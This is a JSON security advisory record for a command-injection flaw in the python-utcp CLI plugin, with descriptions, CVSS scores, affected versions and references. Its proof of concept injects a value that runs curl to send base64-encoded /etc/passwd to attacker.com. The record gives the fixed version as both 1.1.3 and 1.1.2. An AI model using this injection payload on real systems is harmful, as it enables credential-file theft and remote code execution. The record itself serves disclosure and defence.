{"id":"CVE-2026-45369","aliases":["CVE-2026-45369","GHSA-33p6-5jxp-p3x4","PYSEC-2026-560"],"related":[],"kind":"vulnerability","state":"published","title":"python-utcp: Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol","summary":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n\n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n    arg_name = match.group(1)\n    if arg_name in tool_args:\n        return str(tool_args[arg_name])  # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f'{var_name}=$({substituted_command} 2>&1)')\n```\n\nAnd executed via:\n\n```python\nshell_cmd = ['/bin/bash', '-c', script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `&`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli >= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.","format":"markdown","source":"ghsa"},{"lang":"es","text":"python-utcp es la implementación en Python de UTCP. Previo a la 1.1.3, el método _substitute_utcp_args en cli_communication_protocol.py inserta valores de tool_args controlados por el usuario directamente en cadenas de comandos de shell sin ninguna sanitización ni escape. Estos comandos se ejecutan luego a través de /bin/bash -c (Unix) o powershell.exe -Command (Windows), permitiendo a un atacante inyectar comandos de shell arbitrarios. Esta vulnerabilidad se corrige en la 1.1.3.","source":"nvd"}],"published":"2026-05-14T20:14:50.993Z","modified":"2026-10-26T14:10:00.130Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"}],"cwes":["CWE-78"],"affected":[{"ranges":[{"version":"< 1.1.2","status":"affected"}],"vendor":"universal-tool-calling-protocol","product":"python-utcp","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.1.2"}],"ecosystem":"PyPI","package":"utcp-cli","purl":"pkg:pypi/utcp-cli","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.1.2"}],"ecosystem":"PyPI","package":"utcp-cli","purl":"pkg:pypi/utcp-cli","source":"pysec"}],"references":[{"url":"https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45369","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/universal-tool-calling-protocol/python-utcp","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/utcp-cli","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-33p6-5jxp-p3x4","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-05-16T00:59:46.654Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45369","url":"https://www.cve.org/CVERecord?id=CVE-2026-45369","licence":"CVE Terms of Use","modified":"2026-05-16T01:00:25.585Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-33p6-5jxp-p3x4","url":"https://github.com/advisories/GHSA-33p6-5jxp-p3x4","licence":"CC-BY-4.0","modified":"2026-06-29T12:26:42.225Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45369","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45369","licence":"Public domain","modified":"2026-10-26T14:10:00.130Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-560","url":"https://osv.dev/vulnerability/PYSEC-2026-560","licence":"CC-BY-4.0","modified":"2026-07-13T16:15:34.582Z"}],"updatedAt":"2026-11-25T22:59:21.790Z","epss":{"score":0.00352,"percentile":0.21307,"date":"2026-11-30T12:00:22.000Z"}}